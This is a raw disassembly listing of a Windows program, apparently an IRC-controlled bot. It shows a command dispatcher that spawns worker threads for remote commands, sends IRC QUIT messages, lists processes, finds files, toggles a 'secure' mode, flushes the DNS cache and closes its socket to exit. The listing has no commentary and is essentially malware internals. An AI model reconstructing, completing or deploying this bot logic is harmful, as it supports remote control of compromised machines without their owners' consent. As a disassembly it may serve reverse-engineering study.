		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C4E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42C4A4 ; "-"


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax		; Format
		lea	eax, [ebp+var_1964]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+Str2]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset byte_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi		; Format
		lea	eax, [ebp+var_1924]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C468 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	9		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset sub_410A4E
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi		; Str
		call	_atoi
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset asc_42C3B0 ; "-"


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_42C348 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx		; int
		push	[ebp+var_4]	; int
		call	sub_4181D7
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	dword ptr [ebp+esi+Args] ; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Src], eax
		jz	short loc_404054
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+Src]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C2A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_42C260 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_B2C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+Dst]
		push	offset asc_42C23C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	27h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C200 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_42C1E4 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5AC	; WSACleanup
		call	sub_41835A
		push	ebx
		call	ds:dword_427064	; ExitProcess


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_6	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_1614]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42C194 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	25h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset sub_41528E
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_BC4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+Dst]
		push	offset asc_42C120 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	28h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_40B162
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQsfposs	; "qsfposs"
		push	offset asc_42C0CC ; "-"


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	dword ptr [ebp+esi+Args]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	dword ptr [ebp+esi+Args]
		push	24h
		push	offset aFindFile ; "Find file"
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi		; Format


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax		; Dest
		mov	[ebp+var_624], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42BFB8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	19h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_4111CE
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi		; Str
		call	_atoi
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax		; Dest
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	__snprintf
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42BF50 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	edi		; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	esi		; int
		call	sub_409A73
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40E504
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_A94]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset asc_42BEDC ; "-"
		lea	eax, [ebp+Dst]
